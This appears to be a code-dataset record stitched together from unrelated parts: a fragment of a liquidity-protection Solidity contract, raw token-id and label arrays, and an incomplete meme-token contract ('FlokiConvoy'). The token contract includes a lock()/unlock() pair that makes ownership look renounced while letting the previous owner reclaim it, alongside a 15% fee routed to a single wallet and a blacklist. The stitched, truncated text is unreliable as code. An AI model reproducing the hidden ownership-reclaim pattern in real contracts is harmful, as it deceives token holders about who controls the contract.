updatingLiquidity = true; IERC20Token[] memory reserveTokens = new IERC20Token[](2); uint256[] memory minReturns = new uint256[](2); reserveTokens[0] = _reserveToken1; reserveTokens[1] = _reserveToken2; minReturns[0] = 1; minReturns[1] = 1; converter.removeLiquidity(_poolAmount, reserveTokens, minReturns); // ensure that the contract can receive ETH updatingLiquidity = false; } /** * @dev returns a protected liquidity from the store * * @param _id protected liquidity id * @return protected liquidity */ function protectedLiquidity(uint256 _id) internal view returns (ProtectedLiquidity memory) { ProtectedLiquidity memory liquidity; ( liquidity.provider, liquidity.poolToken, liquidity.reserveToken, liquidity.poolAmount, liquidity.reserveAmount, liquidity.reserveRateN, liquidity.reserveRateD, liquidity.timestamp ) = store.protectedLiquidity(_id); return liquidity; } /** * @dev returns a protected liquidity from the store * * @param _id protected liquidity id * @param _provider authorized provider * @return protected liquidity */ function protectedLiquidity(uint256 _id, address _provider) internal view returns (ProtectedLiquidity memory) { ProtectedLiquidity memory liquidity = protectedLiquidity(_id); require(liquidity.provider == _provider, "ERR_ACCESS_DENIED"); return liquidity; } /** * @dev returns the protected amount of reserve tokens plus accumulated fee before compensation * * @param _poolAmount pool token amount when the liquidity was added * @param _poolRate rate of 1 pool token in the related reserve token units * @param _addRate rate of 1 reserve token in the other reserve token units when the liquidity was added * @param _removeRate rate of 1 reserve token in the other reserve token units when the liquidity is removed * @return protected amount of reserve tokens plus accumulated fee = sqrt(_removeRate / _addRate) * _poolRate * _poolAmount */ function protectedAmountPlusFee( uint256 _poolAmount, Fraction memory _poolRate, Fraction memory _addRate, Fraction memory _removeRate ) internal pure returns (uint256) { uint256 n = MathEx.ceilSqrt(_addRate.d.mul(_removeRate.n)).mul(_poolRate.n); uint256 d = MathEx.floorSqrt(_addRate.n.mul(_removeRate.d)).mul(_poolRate.d); uint256 x = n * _poolAmount; if (x / n == _poolAmount) { return x / d; } (uint256 hi, uint256 lo) = n > _poolAmount ? (n, _poolAmount) : (_poolAmount, n); (uint256 p, uint256 q) = MathEx.reducedRatio(hi, d, MAX_UINT256 / lo); uint256 min = (hi / d).mul(lo); if (q > 0) { return MathEx.max(min, (p * lo) / q); } return min; } /** * @dev returns the impermanent loss incurred due to the change in rates between the reserve tokens * * @param _prevRate previous rate between the reserves * @param _newRate new rate between the reserves * @return impermanent loss (as a ratio) */ function impLoss(Fraction memory _prevRate, Fraction memory _newRate) internal pure returns (Fraction memory) { uint256 ratioN = _newRate.n.mul(_prevRate.d); uint256 ratioD = _newRate.d.mul(_prevRate.n); uint256 prod = ratioN * ratioD; uint256 root = prod / ratioN == ratioD ? MathEx.floorSqrt(prod) : MathEx.floorSqrt(ratioN) * MathEx.floorSqrt(ratioD); uint256 sum = ratioN.add(ratioD); // the arithmetic below is safe because `x + y >= sqrt(x * y) * 2` if (sum % 2 == 0) { sum /= 2; return Fraction({ n: sum - root, d: sum }); } return Fraction({ n: sum - root * 2, d: sum }); } /** * @dev returns the protection level based on the timestamp and protection delays * * @param _addTimestamp time at which the liquidity was added * @param _removeTimestamp time at which the liquidity is removed * @return protection level (as a ratio) */ function protectionLevel(uint256 _addTimestamp, uint256 _removeTimestamp) internal view returns (Fraction memory) { uint256 timeElapsed = _removeTimestamp.sub(_addTimestamp); uint256 minProtectionDelay = settings.minProtectionDelay(); uint256 maxProtectionDelay = settings.maxProtectionDelay(); if (timeElapsed < minProtectionDelay) { return Fraction({ n: 0, d: 1 }); } if (timeElapsed >= maxProtectionDelay) { return Fraction({ n: 1, d: 1 }); } return Fraction({ n: timeElapsed, d: maxProtectionDelay }); } /** * @dev returns the compensation amount based on the impermanent loss and the protection level * * @param _amount protected amount in units of the reserve token * @param _total amount plus fee in units of the reserve token * @param _loss protection level (as a ratio between 0 and 1) * @param _level impermanent loss (as a ratio between 0 and 1) * @return compensation amount */ function compensationAmount( uint256 _amount, uint256 _total, Fraction memory _loss, Fraction memory _level ) internal pure returns (uint256) { uint256 levelN = _level.n.mul(_amount); uint256 levelD = _level.d; uint256 maxVal = MathEx.max(MathEx.max(levelN, levelD), _total); (uint256 lossN, uint256 lossD) = MathEx.reducedRatio(_loss.n, _loss.d, MAX_UINT256 / maxVal); return _total.mul(lossD.sub(lossN)).div(lossD).add(lossN.mul(levelN).div(lossD.mul(levelD))); } function getNetworkCompensation( uint256 _targetAmount, uint256 _baseAmount, PackedRates memory _packedRates ) internal view returns (uint256) { if (_targetAmount <= _baseAmount) { return 0; } // calculate the delta in network tokens uint256 delta = (_targetAmount - _baseAmount).mul(_packedRates.removeAverageRateN).div(_packedRates.removeAverageRateD); // the delta might be very small due to precision loss // in which case no compensation will take place (gas optimization) if (delta >= settings.minNetworkCompensation()) { return delta; } return 0; } /** * @dev utility, checks whether allowance for the given spender exists and approves one if it doesn't. * note that we use the non standard erc-20 interface in which `approve` has no return value so that * this function will work for both standard and non standard tokens * * @param _token token to check the allowance in * @param _spender approved address * @param _value allowance amount */ function ensureAllowance( IERC20Token _token, address _spender, uint256 _value ) private { uint256 allowance = _token.allowance(address(this), _spender); if (allowance < _value) { if (allowance > 0) safeApprove(_token, _spender, 0); safeApprove(_token, _spender, _value); } } // utility to mint network tokens function mintNetworkTokens( address _owner, IConverterAnchor _poolAnchor, uint256 _amount ) private { networkTokenGovernance.mint(_owner, _amount); systemStore.incNetworkTokensMinted(_poolAnchor, _amount); } // utility to burn network tokens function burnNetworkTokens(IConverterAnchor _poolAnchor, uint256 _amount) private { networkTokenGovernance.burn(_amount); systemStore.decNetworkTokensMinted(_poolAnchor, _amount); } // utility to get the reserve balances function converterReserveBalances( IConverter _converter, IERC20Token _reserveToken1, IERC20Token _reserveToken2 ) private view returns (uint256, uint256) { return (_converter.getConnectorBalance(_reserveToken1), _converter.getConnectorBalance(_reserveToken2)); } // utility to get the other reserve function converterOtherReserve(IConverter _converter, IERC20Token _thisReserve) private view returns (IERC20Token) { IERC20Token otherReserve = _converter.connectorTokens(0); return otherReserve != _thisReserve ? otherReserve : _converter.connectorTokens(1); } // utility to get the owner function ownedBy(IOwned _owned) private view returns (address) { return _owned.owner(); } }
* @dev adds protected liquidity to a pool also mints new governance tokens for the caller if the caller adds network tokens @param _poolAnchor anchor of the pool @param _reserveToken reserve token to add to the pool @param _amount amount of tokens to add to the pool @return new protected liquidity id/
function addLiquidity( IConverterAnchor _poolAnchor, IERC20Token _reserveToken, uint256 _amount ) external payable override protected poolSupportedAndWhitelisted(_poolAnchor) greaterThanZero(_amount) returns (uint256) { return addLiquidity(msg.sender, _poolAnchor, _reserveToken, _amount); }
2,294,229
[ 1, 25428, 4750, 4501, 372, 24237, 358, 279, 2845, 2546, 312, 28142, 394, 314, 1643, 82, 1359, 2430, 364, 326, 4894, 309, 326, 4894, 4831, 2483, 2430, 225, 389, 6011, 11605, 1377, 6984, 434, 326, 2845, 225, 389, 455, 6527, 1345, 565, 20501, 1147, 358, 527, 358, 326, 2845, 225, 389, 8949, 1850, 3844, 434, 2430, 358, 527, 358, 326, 2845, 327, 394, 4750, 4501, 372, 24237, 612, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 48, 18988, 24237, 12, 203, 3639, 467, 5072, 11605, 389, 6011, 11605, 16, 203, 3639, 467, 654, 39, 3462, 1345, 389, 455, 6527, 1345, 16, 203, 3639, 2254, 5034, 389, 8949, 203, 565, 262, 203, 3639, 3903, 203, 3639, 8843, 429, 203, 3639, 3849, 203, 3639, 4750, 203, 3639, 2845, 7223, 1876, 18927, 329, 24899, 6011, 11605, 13, 203, 3639, 6802, 9516, 7170, 24899, 8949, 13, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 327, 527, 48, 18988, 24237, 12, 3576, 18, 15330, 16, 389, 6011, 11605, 16, 389, 455, 6527, 1345, 16, 389, 8949, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.8.10; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require( _previousOwner == msg.sender, "You don't have permission to unlock" ); require(block.timestamp > _lockTime, "Contract is locked until a later date"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; _previousOwner = address(0); } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract FlokiConvoy is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; address[] private _excluded; mapping(address => bool) private _isBlackListedBot; mapping(address => bool) private _isExcludedFromLimit; address[] private _blackListedBots; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 420 * 10**21 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address payable public _marketingAddress = payable(address(0xdE000bD259131D10812317cA9909924828759e4f)); address payable public _devwallet = payable(address(0xdE000bD259131D10812317cA9909924828759e4f)); address public _exchangewallet = payable(address(0xdE000bD259131D10812317cA9909924828759e4f)); address _partnershipswallet = payable(address(0xdE000bD259131D10812317cA9909924828759e4f)); address private _donationAddress = 0x000000000000000000000000000000000000dEaD; string private _name = "FlokiConvoy"; string private _symbol = "FlokiConvoy"; uint8 private _decimals = 9; struct BuyFee { uint16 tax; uint16 liquidity; uint16 marketing; uint16 dev; uint16 donation; } struct SellFee { uint16 tax; uint16 liquidity; uint16 marketing; uint16 dev; uint16 donation; } BuyFee public buyFee; SellFee public sellFee; uint16 private _taxFee; uint16 private _liquidityFee; uint16 private _marketingFee; uint16 private _devFee; uint16 private _donationFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 210 * 10**19 * 10**9; uint256 private numTokensSellToAddToLiquidity = 210 * 10**19 * 10**9; uint256 public _maxWalletSize = 420 * 10**19 * 10**9; event botAddedToBlacklist(address account); event botRemovedFromBlacklist(address account); event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { _rOwned[_msgSender()] = _rTotal; buyFee.tax = 0; buyFee.liquidity = 2; buyFee.marketing = 13; buyFee.dev = 0; buyFee.donation = 0; sellFee.tax = 0; sellFee.liquidity = 2; sellFee.marketing = 13; sellFee.dev = 0; sellFee.donation = 0; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // exclude owner, dev wallet, and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_devwallet] = true; _isExcludedFromFee[_exchangewallet] = true; _isExcludedFromFee[_partnershipswallet] = true; _isExcludedFromLimit[_marketingAddress] = true; _isExcludedFromLimit[_devwallet] = true; _isExcludedFromLimit[_exchangewallet] = true; _isExcludedFromLimit[_partnershipswallet] = true; _isExcludedFromLimit[owner()] = true; _isExcludedFromLimit[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function 